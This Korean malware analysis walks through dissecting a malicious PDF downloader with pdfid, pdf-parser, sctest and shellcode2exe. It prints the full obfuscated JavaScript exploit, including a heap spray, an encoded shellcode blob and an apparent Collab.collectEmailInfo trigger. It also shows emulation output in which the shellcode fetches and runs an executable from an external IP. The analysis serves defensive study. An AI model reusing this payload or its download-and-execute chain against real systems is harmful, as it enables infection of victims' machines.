파일 정보
File Name | badpdf.pdf |
Size | 2.7 KB |
Type | PDF 1.3 |
Behavior | Downloader |
MD5 | 2264dd0ee26d8e3fbdf715dd0d807569 |
SHA256 | ad6cedb0d1244c1d740bf5f681850a275c4592281cdebb491ce533edd9d6a77d |
ssdeep | z0G1oBwJcGL5t55N947sdh5Vnq06daFla8ySj9yKWRssJrAmrB3 |
악성코드 상세 분석
1. pdf 내 의심스러운 키워드 찾기
pdfid.py badpdf.pdf
Shell
복사
pdfid.py 를 이용하여 확인
OpenAction 1개, JS 2개, JavaScript 3개 의 의심스러운 키워드를확인
2. 키워드 기반 검색
2.1 OpenAction
pdf-parser --search openaction badpdf.pdf
Shell
복사
OpenAction 키워드는 문서를 염과 동시에 실행될 동작을 의미하므로 우선적으로 검색
검색결과 obj 1 의 내용에서 JS 키워드를 사용해서 this.zfnvkWYOKv\\(\\) 함수가 실행됨을 확인
해당 키워드를 추가적으로 검토할 필요가 있으며 정확한 내용을 확인하기 위해서는 obj 1이 참조하고 있는 obj 2, 3, 4, 5, 6, 7도 확인 필요
/S 키워드?
/S 키워드는 “Subtype"을 나타내는 키로, 특정 객체나 동작의 하위 유형을 정의한다.
여기서는 /S /JavaScript 형태로 사용하여 앞선 코드가 JavaScript임을 명시하여 이를 구체화하고 있다.
2.2 JS
this.zfnvkWYOKv\\(\\) 을 실행하는 JS 키워드를 기반으로 재검색
pdf-parser --search JS badpdf.pdf
Shell
복사
검색결과인 obj 12 는 obj 13을 참조하고 있는 것 확인
pdf-parser --object 13 badpdf.pdf
Shell
복사
obj 13은 데이터 스트림이 포함되어 있음 확인, 해당 오브젝트에 대한 상세 분석이 필요
obj 13 은 /Filter /FlateDecode 키워드를 사용, FlateDecode 방식으로 인코딩 됨
--filter 옵션을 사용해줘야 한다.
--filter 옵션 사용 시 FlateDecode, ASCIIHexDecode, ASCII85Decode, LZWDecode, RunLengthDecode 등 5가지의 인코딩에 대해 디코딩 가능
2.3 obj 13 상세분석
pdf-parser --object 13 --raw --filter badpdf.pdf
Shell
복사
JS 코드
function zfnvkWYOKv()
{
gwKPaJSHReD0hTAD51qao1s = unescape("%u4343%u4343%u0feb%u335b%u66c9%u80b9%u8001%uef33%ue243%uebfa%ue805%uffec%uffff%u8b7f%udf4e%uefef%u64ef%ue3af%u9f64%u42f3%u9f64%u6ee7%uef03%uefeb%u64ef%ub903%u6187%ue1a1%u0703%uef11%uefef%uaa66%ub9eb%u7787%u6511%u07e1%uef1f%uefef%uaa66%ub9e7%uca87%u105f%u072d%uef0d%uefef%uaa66%ub9e3%u0087%u0f21%u078f%uef3b%uefef%uaa66%ub9ff%u2e87%u0a96%u0757%uef29%uefef%uaa66%uaffb%ud76f%u9a2c%u6615%uf7aa%ue806%uefee%ub1ef%u9a66%u64cb%uebaa%uee85%u64b6%uf7ba%u07b9%uef64%uefef%u87bf%uf5d9%u9fc0%u7807%uefef%u66ef%uf3aa%u2a64%u2f6c%u66bf%ucfaa%u1087%uefef%ubfef%uaa64%u85fb%ub6ed%uba64%u07f7%uef8e%uefef%uaaec%u28cf%ub3ef%uc191%u288a%uebaf%u8a97%uefef%u9a10%u64cf%ue3aa%uee85%u64b6%uf7ba%uaf07%uefef%u85ef%ub7e8%uaaec%udccb%ubc34%u10bc%ucf9a%ubcbf%uaa64%u85f3%ub6ea%uba64%u07f7%uefcc%uefef%uef85%u9a10%u64cf%ue7aa%ued85%u64b6%uf7ba%uff07%uefef%u85ef%u6410%uffaa%uee85%u64b6%uf7ba%uef07%uefef%uaeef%ubdb4%u0eec%u0eec%u0eec%u0eec%u036c%ub5eb%u64bc%u0d35%ubd18%u0f10%u64ba%u6403%ue792%ub264%ub9e3%u9c64%u64d3%uf19b%uec97%ub91c%u9964%ueccf%udc1c%ua626%u42ae%u2cec%udcb9%ue019%uff51%u1dd5%ue79b%u212e%uece2%uaf1d%u1e04%u11d4%u9ab1%ub50a%u0464%ub564%ueccb%u8932%ue364%u64a4%uf3b5%u32ec%ueb64%uec64%ub12a%u2db2%uefe7%u1b07%u1011%uba10%ua3bd%ua0a2%uefa1%u7468%u7074%u2F3A%u372F%u2E38%u3031%u2E39%u3033%u352E%u632F%u756F%u746E%u302F%u3530%u4441%u3635%u2F46%u6F6C%u6461%u702E%u7068%u703F%u6664%u613D%u3836%u6534%u6563%u6565%u3637%u6366%u3235%u3732%u3337%u3832%u6136%u3938%u6235%u3863%u3334%u0036");
tuVglXABgYUAQFEYVPi3lf = unescape("%u9090%u9090"); nDsGdY1TdZUDCCpNeYRdk28BeZ5R = 20 + gwKPaJSHReD0hTAD51qao1s.length
while (tuVglXABgYUAQFEYVPi3lf.length < nDsGdY1TdZUDCCpNeYRdk28BeZ5R) tuVglXABgYUAQFEYVPi3lf += tuVglXABgYUAQFEYVPi3lf;
vmRV3x9BCtZs = tuVglXABgYUAQFEYVPi3lf.substring(0, nDsGdY1TdZUDCCpNeYRdk28BeZ5R);
dVghsR4KOJoE6WzWkTW0vz = tuVglXABgYUAQFEYVPi3lf.substring(0, tuVglXABgYUAQFEYVPi3lf.length-nDsGdY1TdZUDCCpNeYRdk28BeZ5R);
while(dVghsR4KOJoE6WzWkTW0vz.length + nDsGdY1TdZUDCCpNeYRdk28BeZ5R < 0x40000) dVghsR4KOJoE6WzWkTW0vz = dVghsR4KOJoE6WzWkTW0vz + dVghsR4KOJoE6WzWkTW0vz + vmRV3x9BCtZs;
dddA9SvmIp7bFVTvbRcRoFQ = new Array();
for ( i = 0; i < 2020; i++ ) dddA9SvmIp7bFVTvbRcRoFQ[i] = dVghsR4KOJoE6WzWkTW0vz + gwKPaJSHReD0hTAD51qao1s;
function rHjX2qS2YpWWuvNjX9JfKZ3F(qlrSKFKRQUuUXlV0ES9I6oz4pM, oq7g9J0RSV3FcMgr9DLvvDY8ee)
{
var lTZGviUaML2vE40mHbYk = "";
while (--qlrSKFKRQUuUXlV0ES9I6oz4pM >= 0) lTZGviUaML2vE40mHbYk += oq7g9J0RSV3FcMgr9DLvvDY8ee;
return lTZGviUaML2vE40mHbYk;
}
Collab.collectEmailInfo({msg:rHjX2qS2YpWWuvNjX9JfKZ3F(4096, unescape("%u0909%u0909"))});
}
JavaScript
복사
결과적으로 obj 1 에서 실행되는 JS 스크립트는 위와 같이 난독화 되어있음을 확인
gwKPaJSHReD0hTAD51qao1s 에 정의되는 코드가 핵심코드로 추정되므로 추가적인 분석 진행
3. 쉘 코드 분석
3.1 unicode.txt 에 핵심코드 복사
vi unicode.txt
Shell
복사
3.2 해당 내용 바이너리 전환
cat unicode.txt | unicode2raw > shellcode.raw
cat shellcode.raw
Bash
복사
http://78.109.30.5 로 시작되는 의심스러운 URL 발견
추가적인 추적을 위해 sctest 도구 활용
3.3 sctest 활용 쉘 코드 테스트
cat shellcode.raw | sctest -Svs 1000000 > sctest-out.txt
cat sctest-out.txt
Bash
복사
sctest?
libemu라는 라이브러리에서 제공하는 도구, 주로 쉘코드를 테스트하고 분석하는 데 사용
옵션
•
-S (쉘코드 모드)
◦
전달받은 바이너리 데이터를 실제로 실행하지 않고, 에뮬레이션을 통해 실행 흐름을 확인
•
-v (verbose)
◦
자세한 출력 모드를 활성화, 일반적인 실행 로그보다 더 많은 정보를 제공
•
-s 1000000 (스택 크기 설정)
◦
스택(stack)의 크기를 설정, 쉘코드가 실행될 때 사용할 수 있는 스택 메모리 공간의 크기를 지정
◦
1000000은 스택의 크기를 1MB로 설정한 것
◦
스택 크기를 충분하게 설정해 두어야 쉘코드가 정상적으로 동작할 수 있다. 만약 스택 공간이 너무 작으면, 쉘코드가 정상적으로 동작하지 않을 수 있다.
•
sctest-out.txt 내용
해당 쉘코드의 전반적인 악성행위 확인 가능
1.
LoadLibraryA API를 호출하여 urlmon.dll 로드
•
urlmon은 Windows의 URL 관련 기능을 제공하는 라이브러리로, 주로 인터넷 리소스를 다운로드할 때 사용
•
핸들값 : 0x7df20000
HMODULE LoadLibraryA (
LPCTSTR lpFileName = 0x00417193 =>
= "URLMON";
) = 0x7df20000;
Bash
복사
2.
GetSystemDirectory API를 호출하여 시스템 디렉토리 (c:\WINDOWS\system32) 경로 획득
•
시스템 디렉토리 경로의 길이 : 19
UINT GetSystemDirectory (
LPTSTR lpBuffer = 0x00416c1e =>
= "c:\WINDOWS\system32";
UINT uSize = 255;
) = 19;
Bash
복사
3.
기존에 악성코드가 존재할 경우 DeleteFile API 를 이용하여 제거
•
0x00416c1e 주소는 이후 악성코드가 저장되는 주소
ERROR DeleteFile (
LPCTSTR lpFileName = 0x00416c1e =>
none;
) = -1;
Bash
복사
4.
URLDownloadToFile API를 호출하여 원격 서버에서 파일을 다운로드
•
URL : http://78.109.30.5/count/005AD56F/load.php?pdf=a684eceee76fc522773286a895bc8436
•
저장경로 : c:\WINDOWS\system32\~.exe
•
저장 주소 : 0x00416c1e
•
반환 값 0 : 성공
HRESULT URLDownloadToFile (
LPUNKNOWN pCaller = 0x00000000 =>
none;
LPCTSTR szURL = 0x0041719a =>
= "http://78.109.30.5/count/005AD56F/load.php?pdf=a684eceee76fc522773286a895bc8436";
LPCTSTR szFileName = 0x00416c1e =>
= "c:\WINDOWS\system32\~.exe";
DWORD dwReserved = 0;
LPBINDSTATUSCALLBACK lpfnCB = 0;
) = 0;
Bash
복사
5.
WinExec API를 호출하여 악성코드 실행
•
uCmdShow = 0 : 실행 창의 표시 방식, 0 은 백그라운드 실행
•
반환 값 = 32 : 성공적으로 실행
UINT WINAPI WinExec (
LPCSTR lpCmdLine = 0x00416c1e =>
= "c:\WINDOWS\system32\~.exe";
UINT uCmdShow = 0;
) = 32;
Bash
복사
6.
ExitThread API를 호출하여 현재 실행 중인 쓰레드 종료
•
종료코드 = -1 : 종료
•
반환 값 = 0 : 종료 성공
void ExitThread (
DWORD dwExitCode = -1;
) = 0;
Bash
복사
•
sctest-out.txt 전체 내용
verbose = 1
Hook me Captain Cook!
userhooks.c:132 user_hook_ExitThread
ExitThread(-1)
stepcount 314321
HMODULE LoadLibraryA (
LPCTSTR lpFileName = 0x00417193 =>
= "URLMON";
) = 0x7df20000;
UINT GetSystemDirectory (
LPTSTR lpBuffer = 0x00416c1e =>
= "c:\WINDOWS\system32";
UINT uSize = 255;
) = 19;
ERROR DeleteFile (
LPCTSTR lpFileName = 0x00416c1e =>
none;
) = -1;
HRESULT URLDownloadToFile (
LPUNKNOWN pCaller = 0x00000000 =>
none;
LPCTSTR szURL = 0x0041719a =>
= "http://78.109.30.5/count/005AD56F/load.php?pdf=a684eceee76fc522773286a895bc8436";
LPCTSTR szFileName = 0x00416c1e =>
= "c:\WINDOWS\system32\~.exe";
DWORD dwReserved = 0;
LPBINDSTATUSCALLBACK lpfnCB = 0;
) = 0;
UINT WINAPI WinExec (
LPCSTR lpCmdLine = 0x00416c1e =>
= "c:\WINDOWS\system32\~.exe";
UINT uCmdShow = 0;
) = 32;
void ExitThread (
DWORD dwExitCode = -1;
) = 0;
Bash
복사
악성코드 동작 요약
•
원격 서버에서 악성 파일을 다운로드하여 시스템 디렉토리에 저장
•
해당 파일을 실행하여 추가적인 악성 행위 시도
•
파일 실행 후 자신의 쓰레드를 종료
4. .exe 파일 변환
IDA 를 활용하여 더욱 상세한 분석을 위해 쉘코드를 exe 파일로 변환
4.1 유니코드 데이터 변환 (hex)
유니코드 데이터를 unicode2hex-escaped 도구를 활용하여 hex 형식으로 변환
cat unicode.txt | unicode2hex-escaped > shell.hex
cat shell.hex
Bash
복사
4.2 exe 파일 변환
hex 파일을 shellcode2exe.py 툴을 사용하여 exe 파일로 변환
shellcode2exe.py -s shell.hex shell.exe
Bash
복사
이후 IDA를 이용하여 추가적인 분석이 가능하다.